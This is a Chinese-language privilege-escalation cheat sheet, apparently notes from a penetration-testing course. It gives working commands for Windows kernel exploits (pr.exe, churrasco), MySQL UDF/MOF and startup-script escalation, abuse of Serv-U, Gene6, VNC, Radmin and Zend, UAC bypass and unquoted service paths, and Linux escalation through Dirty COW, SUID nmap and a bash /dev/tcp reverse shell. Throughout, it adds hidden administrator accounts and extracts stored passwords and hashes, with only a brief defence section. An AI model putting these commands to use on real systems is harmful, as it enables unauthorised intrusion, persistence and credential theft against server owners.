提权方法:
溢出漏洞提权、数据库提权(mysql提权(udf提权,mof提权,自启动提权)、mssql提权)、第三方软件提权(serv-u、flashFxp、genne6 Ftp、vnc、radmin 、 zend、dll劫持、perl、cacle、pcanyWhre等)
windows提权(sc提权、不带引号的服务路径[在文件夹名称带空格的文件夹下放一个msf木马,进行shell反弹]、不安全的服务权限、)、linux提权(脏牛提权、suid提权)
数据库脱库可以使用工具 通过百度查找Navicat Mysql、Navicat for SQL Server、Navicat for Oracle、Navicat for PostgreSQL、Navicat for SQLite等,也可以使用其它工具代替,如sqlmap、k8等类似工具。
2 提权
2.1 溢出漏洞提权
溢出漏洞的全名:缓冲区溢出漏洞 因为它是在程序执行的时候在缓冲区执行的[错误代码]。所以叫缓冲区溢出漏洞。
cmd.exe执行命令时需要读取和写入权限,且需要授予iuser权限。默认只有读取的权限。
上传大马或者菜刀使用cmd时,无法成功执行命令,
原因可能是运维人员把cmd的权限进行了调低。只有管理员有写入权限。
如何解决:
使用大马或菜刀,查看哪些目录具有写入权限(不能找带空格的目录),上传一个cmd.exe到目录,并设置新的终端路径: setp c:\xxx\cmd.exe ,这样就使用新的cmd.exe执行命令。
提权常用的命令有:
whoami ——查看用户权限
systeminfo ——查看操作系统,补丁情况
ipconfig——查看当前服务器IP ipconfig /all
net user——查看当前用户情况
netstat ——查看当前网络连接情况 netstat –ano /netstat –an | find “ESTABLISHED”
tasklist ——查看当前进程情况 tasklist /svc
taskkill ——结束进程 taskkill -PID xx
net start ——启动服务
net stop ——停止服务
net user best 123456 /add 添加用户名为best,密码为123456
net localgroup administrators best /add 将用户名为best的用户添加到管理员组
net user best /del 删除best用户
快速查找未打补丁的 exp,可以最安全的减少目标机的未知错误,以免影响业务。 命令行下执行检测未打补丁的命令如下:
systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt
可以去下面的网址去下载对应的exploits:
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalation
2003系统比较出名的提权是巴黎烤肉提权、pr提权(ms-09-012)
2.1.1 pr.exe提权
Windows Server 2003和windows xp系统能够使用 pr 提权。如果目标机打上了 KB952004补丁 的话,是没有办法使用pr进行提权的。
1.将pr.exe上传。
2.运行pr.exe,并使用命令添加账户并添加到管理原组。
pr.exe "net user hack 123 /add" #新建一个hack用户,密码为 123
pr.exe "net localgroup administrators hack /add" #将hack用户加入administrators管理员组
3.就可以用远程桌面登录了,前提是目标主机开启了3389远程端口。
也可以使用pr.exe后接工具开启3389端口。
pr.exe "opents.exe"
2.1.2 巴西烤肉漏洞
churrasco.exe是2003系统一个本地提权漏洞,通过此工具可以以SYSTEM权限执行命令,从而可以达到添加用户的目的。
1.上传churrasco.exe
2.在命令行直接输入命令,添加账号
D:\churrasc.exe "net user"
溢出漏洞防范方法:打补丁。
2.2 数据库提权
2.2.1 mysql提权
mysql提权的前提条件是获取mysql账号,密码。以及是否有远程访问权限。
1.如何获取mysql账号,密码
方法一:
webshell查看网站配置文件。
如:conn、config、data、sql、common 、inc等。
方法二:
查看数据库安装路径下的mysql文件 安装目录为/data/mysql/user.myd和user.myi
方法三:
通过暴力破解得到(hscan、Bruter、hydra、脚本木马)
注意事项:
一、基于安全考虑root账户一般只能本地访问,但是在开发过程中可能需要打开root的远程访问权限。下面是基本的步骤:
1、登录到mysql中,为root进行远程访问的授权,执行下面的命令:
mysql> GRANT ALL PRIVILEGES ON *.* TO root@"%" IDENTIFIED BY "root";
mysql> flush privileges;
第一句中"%"表示任何主机都可以远程登录到该服务器上访问。
如果要限制只有某台机器可以访问,将其换成相应的IP即可,
GRANT ALL PRIVILEGES ON *.* TO root@“%" IDENTIFIED BY "root";
第二句表示从mysql数据库的grant表中重新加载权限数据。因为MySQL把权限都放在了cache中,所以在做完更改后需要重新加载。
二、mysql数据库密码保存文件
参考:http://blog.sina.com.cn/s/blog_8028ba2f0100rzpt.html
三、菜刀数据库连接、大马777.php、其它工具爆破
不推荐脚本,速度慢。
2.2.1.1 udf提权
1.可以使用工具mysql综合利用工具。
需要输入ip,数据库密码,以及导入的目录(如果是手工安装的mysql:默认目录是c:\windows\system32\udf.dll;如果是phpstudy集成环境,则需要在安装目录下的mysql/lib目录下创建plugin文件夹。
目录是:)
2.执行SQL,打开3389端口,添加用户等。
添加用户:
select cmdshell('net user 11 test /add');
打开3389端口:
Create Function open3389 returns string soname 'udf.dll';
select open3389();
3.我们也可以使用上传moon.php大马来进行连接。
2.2.1.2 mof提权
1.可以使用工具,创建账户会5分钟创建一个,且删除会再生。
2.使用菜刀上传文件moon.mof,这个文件是创建一个admin账号。
并执行命令:
select load_file('C:\\wmpub\\moon.mof') into dumpfile 'c:/windows/system32/wbem/mof/moon.mof';
2.2.1.3 mysql启动项提权
1、通过mysql数据库命令写入VBS脚本;
2、直接通过Webshell的Mysql写入启动项;
3、通过MS12-020、MS15-034重启服务器。
C:\php\MySQL-5.1.50\bin>mysql -uroot -proot -h192.168.1.109
mysql>drop database test1;
mysql> create database test1;
mysql> use test1;
mysql> create table a (cmd text);
mysql>insert into a values ("set wshshell=createobject (""wscript.shell"")");
mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user best best /add"",0)");
mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators best /add"",0)");
注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!
mysql>select * from a;
mysql>select * from a into outfile "c://docume~1//administrator//「开始」菜单//程序//启动//best.vbs";
最后通过溢出漏洞让服务器重启,如:MS12-020、MS15-034
2.2.2 mssql提取
溢出漏洞是针对server 2000,2000之后的版本很少有。目前主要是通过弱口令直接提权。
1.可以使用工具其他工具--sql链接--sqltools2.0.
2.2.3 安全防御
1、限止数据库远程连接,给数据库帐户设置密码必须>8位以上并数字+字母+特殊符号等。
2、不要给网站配置root或SA权限。必须给每个网站独立分配数据库帐户并限格控制好权限。
3、及时升级数据库补丁。
4、安装Waf进行防御。
5、购买数据库审计设备
2.3 第三方提权
2.3.1 serv-u提权
存在漏洞的地方:
1.5.04以下版本可用servux.exe进行远程溢出漏洞。
2.权限配置不当可用svu.exe添加管理员账号。添加命令:
** svu.exe -i ip地址 -u 用户 -p 密码 -a 路径**
3.serv-u目录文件存在修改权限,直接修改配置文件添加管理用户。
4.serv-u目录文件不存在修改权限,可直接通过serv-u默认本地管理员提权。
2.3.1.1 安装配置serv.exe
1.安装并破解serv.exe。
双击setup.exe(汉化包),路径选择serv.exe的安装路径。
破解:
运行patch.exe。
-
打开serv.exe,并进行配置域。新建域,ip动态可不填,一切默认。
新建用户,创建用户名,密码等等。
给与新建的test账号系统管理员权限,并且设置目录访问权限。
2.3.1.2 提权
方法一:运行大马,使用大马中的serv-u提取功能进行提权,服务端口号为:43958(也可以使用端口扫描查看是否开启了serv-u.exe)
这个方法是添加了一个隐藏的管理员账号。
方法二:
1.创建的用户信息保存在安装目录下的Serv-U\ServUDaemon.ini中。
在serv-u的客户端刷新一下,可以查看添加的test1。
2.在物理机的cmd.exe上可以访问ftp,进行添加账户。
在ftp命令行中添加账号的命令为:
quote site exec net user best666 best /add
quote site exec net localgroup administrators best666 /add
2.3.2 FlashFxp提权
渗透测试人员只需下载quick.dat、sites.dat、stats.dat这三个文件进行本
地替换,就可以获取登录密码。
1.安装flashfxp之后,查看站点,密码可以使用星号密码克星软件进行查看。
2.3.3 Gene6 ftp提权
2.3.3.1 genne6 安装
1.安装fenne6,设置登录密码,并进行汉化。汉化时要把垃圾软件取消勾选。默认安装路径是C:\Program Files\Gene6 FTP Server
语言选择中文。
2.主配置文件是Remote.ini,其路径是
C:\Program Files\Gene6 FTP Server\RemoteAdmin\Remote.ini。管理员登录的ip、端口和密码都存储在这。但Gene
6管理员帐号只充许本地登录。 只能通过Webshell转发端口才可以进行远程连接。
2.3.3.2 提权
1.使用菜刀上传工具lcx.exe
使用命令
lcx.exe –tran 600 127.0.0.1 8021 进行端口转发。
2.在win7系统上也安装genne6,并新建连接,输入目标ip和转发的端口600.
3.对win7电脑上的genne6进行设置,新建域名,并选择侦听的ip为192.168.60.102
在ftp命令模式下使用quote site 123 可以运行cmd.exe
新建用户:
设置用户的权限:
4.可以在win2003的系统上看到在win7系统上新添加的用户test1。
2.3.4 PcanyWhere提权
使用的端口是5631,5632.
1.该软件的默认安装路径为C:\Program Files\Symantec\pcAnywhere\
*.cif文件默认路径为C:\DocumentS and Settings\All Users\ApplicationData\Symantec\pcAnywhere\Hosts\
2.使用webshell下载*.cif文件,使用PCAnyPass.exe破解密码。
- 在另一台电脑上安装 PcanyWhere软件,创建连接,输入账号密码。
2.3.5 Vnc提权
vnc的端口是5900/5800,可以使用端口扫描来判断是否安装此软件。
1.vnc的密码是保存在
注册表中,可以在命令行输入命令cmd /c "regedit /e c:\123.reg"HKEY_LOCAL_MACHINE\software\RealVNC\WinVNC4" ",将信1息保存为123.reg。
可以使用软件vncx4.exe进行破解。
2.3.6 Radmin提权
2.3.6.1 Radmin安装设置
1.安装Radmin,将软件包中的server.exe和和admdll.dll放在vm里面,cmd下运行server.exe /setup 设置密码及输入注册信息。也可以设置图标隐藏。
2.在物理机上运行radmin.exe控制虚拟机的设备。
可以使用以下功能:
2.3.6.2提权
通过上传的大马的功能radmin读取hash或者是注册表读取hash值进而控制虚拟机。
1.大马读取出的hash值密码需要转换一下大小写,将大写字母转换成小写。
2.注册表读取需要使用命令:
cmd /c "regedit /e c:\123.reg "HKEY_LOCAL_MACHINE\system\RAdmin\v2.0\Server\Parameters""
3.使用hash做为密码时需要使用Radmin_Hash.exe软件。
2.3.7 Zend 提权
phpstudy默认集成了zend,其路径是:安装目录\php-5.2.17\ZendOptimizer。
1.通过webshell对原ZendExtensionManager.dll重命名,同时上传nc.exe(瑞士军刀)和cmd.exe。
2.在物理机打开Zend_DLL_Hijacking_for_nc.exe软件,进行配置。通过工具重新生成一个来木马ZendExtensionManager.dll让apche重启加载。
3、等apache重新加载,如果没有加载可以手工重启apache加载
4、telnet ip 1111登录目录服务器
2.3.8 DII劫持提权
要求:目录可读可写,目录下有exe文件。
1.使用工具T00ls Lpk Sethc v4.0.exe生成LPK.dll文件,使用webshell上传到一个可读可写,目录下有exe文件的目录。
2.运行目录下的exe文件,然后重启电脑。在登陆页面先按5次shift建,之后再同时按下ab键,输入密码,就实现了dll劫持。
2.3.9 Windows空格、服务、漏洞提权
2.3.10 perl与cacls提权
1.cacls提权,使用命令:
cacls c:\index.asp /t /e /c /g interactive:f
把index.asp加入interactive组并赋予完全控制权限(IIS的IUSER_用户就在这一组中).这样就可以对index.asp任意编辑。
Cacls filename [/T] [/E] [/C] [/G usererm] [/R user [...]] [/P usererm [...]] [/D user [...]]
Filename:显示访问控制列表(以下简称ACL)
/T:更改当前目录及其所有子目录中指定文件的ACL
/E:编辑ACL而不替换
/C:在出现拒绝访问错误时继续
/G Userer:perm:赋予指定用户访问权限,Perm代表不同级别的访问权限,其值可以是R(读取)、W(写入)、C(更改,写入)、F(完全控制)等。
/R user:撤销指定用户的访问权限,注意该参数仅在与“/E”一起使用时有效。
/P user:perm:替换指定用户的访问权限,perm的含义同前,但增加了“N(无)”的选项。
/D user:拒绝指定用户的访问
3 windows提权
uac:是windows的安全机制。(2003版本没有)
当前获得的权限是存在于管理员组的时候但是并且是administrator这个用户,此时就可能需要我们进行绕过UAC的操作,否则虽然是管理员组但是实际上并没有管理员所对应的高权限操作,这个时候就需要bypass uac。
3.1 使用木马提权
1.在win7新添加一个用户,新添加的用户默认属于user组。并切换到新加用户的模式下。
2.用kali生成payload.exe并下载下来上传至win7系统。在win7运行建立会话。
3.使用getuid查看当前权限,使用getsystem进行提权。
这个情况下我们需要bypass uac。
方法一:
使用use exploit/windows/local/ask这个payload。设置信息。
或者使用use exploit/windows/local/bypassuac或者
use exploit/windows/local/bypassuac_injection
方法二:
使用漏洞提权:
使用ms11-080漏洞。
3.2 不带引号的服务路径
参考:https://www.cnblogs.com/persuit/p/5916010.html
windows服务运行时,如果有可执行文件且有完整路径,系统会按照字面解释执行。如果路径没有被包括在"(引号)中,操作系统就会找含有空格路径下的第一个实例。
根据这个漏洞,我们可以上传木马,然后漏洞特性造成开机自启动。(上传之后需要重启)。
1.使用命令查找带空格的目录:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
如果在cmd.exe下不能运行wmic,是环境变量没有进行配置。在path变量后添加C:\Windows\System32\wbem就可以
2.将exe文件放在c:根目录下,重启电脑,看是否开机自启。
3.3 sc 命令提权(adminstrator----system)
SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。
主要使用的命令有;
sc Create syscmd binPath= “cmd /K start” type= own type= interact
//创建一个名叫syscmd的新的交互式的cmd服务,/k是启动后窗口不消失。\c是消失
sc start systcmd //启动新建cmd服务
3.2 linux提权
linux内核版本由3组数字组成,
第一个数字是目前发布的内核主板本,
第二个数字:偶数表示稳定版本,奇数表示开发中版本。
第三个数字代表错误的修补次数。
查看内核版本:uname -a
查看发行版本:cat /etc/issue
cat /etc/*-release
3.2.1 反弹shell
使用的工具是netcat(nc),瑞士军刀。
1.在kali上使用nc模块,开启监听端口
2.在物理机上连接kali主机。
nc在目录tools --提权工具--nc。
3.2.2 bash直接反弹
Linux中一般默认的shell是bash,它功能几乎可以涵盖shell所具有的功能,所以一般的shell脚本都会指定它为执行路径。
常用的参数有:
bash -i :生成一个bash交互环境。
/dev/tcp/目标ip/端口: /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。这个命令是让主机与目标主机建立一个tcp连接。
&:将联合符号前面的内容和后面相结合然后一起重定向给后者。
0>&1:将标准的输入与标准的输出内容结合,然后重定向给后面标准输出的内容。
linux文件描述符:linux shell下有三种标准的文件描述符,分别如下:
0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>
当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
https://www.cnblogs.com/yyxianren/p/12665816.html
1.在kuli系统输入命令:
bash -i >& /dev/tcp/物理机ip/端口
2.使用nc.exe软件,输入nc.exe -l -p 端口号
3.2.1.脏牛提权
影响范围:linux内核>=2.6.22
原理:关键函数使是get_user_pages,Copy_on_Write(cow)。
get_user_pag内核函数在处理cow的过程中,产生了竞争造成了cow过程被破坏。
复制只读页生成了一个带有写权限的新页。
1.下载POC:https://github.com/FireFart/dirtycow
2.利用gcc编译dirty.c文件
gcc -pthread dirty.c -o dirty -lcrypt
[图片上传中...(image.png-b1e76d-1598536884397-0)]
3.2 suid提权
SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者(普通用户)暂时获得该文件拥有者的权限。
suid提权:
大概意思就是就是有个文件,它有s标志,并且他属主是root,普通用户运行这个程序就可以暂时有了root的权限,并且这个程序还得能执行命令。
文件权限查询:
# ll f1
-rwsr-xr-x. 1 root root 0 Nov 17 20:18 f1
文件属主的x权限,用s代替.表示被设置了SUID
如果属主位没有x权限,会显示为大写S,表示有故障(权限无效)
1.首先在本地查找符合条件的文件,有以下三个命令
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
列出来的所有文件都是以root用户权限来执行的,接下来找到可以提权的文件
常用的可用于suid提权的文件
Nmap
Vim
find
Bash
More
Less
Nano
cp
namp(2.02-5.21)有交互模式,可以允许执行shell命令。
如果支持交互的话,可以使用下命令进入namp交互模式
nmap --interactive
执行命令后会返回一个shell
nmap> !sh
sh-3.2# whoami
root
3.3 使用已对外公开的exp
已对外公开 exp 注:
https://github.com/SecWiki/linux-kernel-exploits https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/ https://github.com/xairy/kernel-exploits
3.4 linux常用命令
1.内核,操作系统和设备信息
uname -a 打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release 分发信息
cat /etc/issue 分发信息
cat /proc/cpuinfo CPU信息
2.用户和权限信息:
whoami 当前用户名
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作
3.linux一句话添加账号
(1)chpasswd 方法
# useradd guest;echo 'guest:123456'|chpasswd
(2)useradd -p 方法
# useradd -p `openssl passwd 123456` guest
(3)echo -e 方法
# useradd test;echo -e "123456n123456n" |passwd test
(6)其它
Linux运维最常用150个命令](https://www.jianshu.com/p/979d8f5e5e65)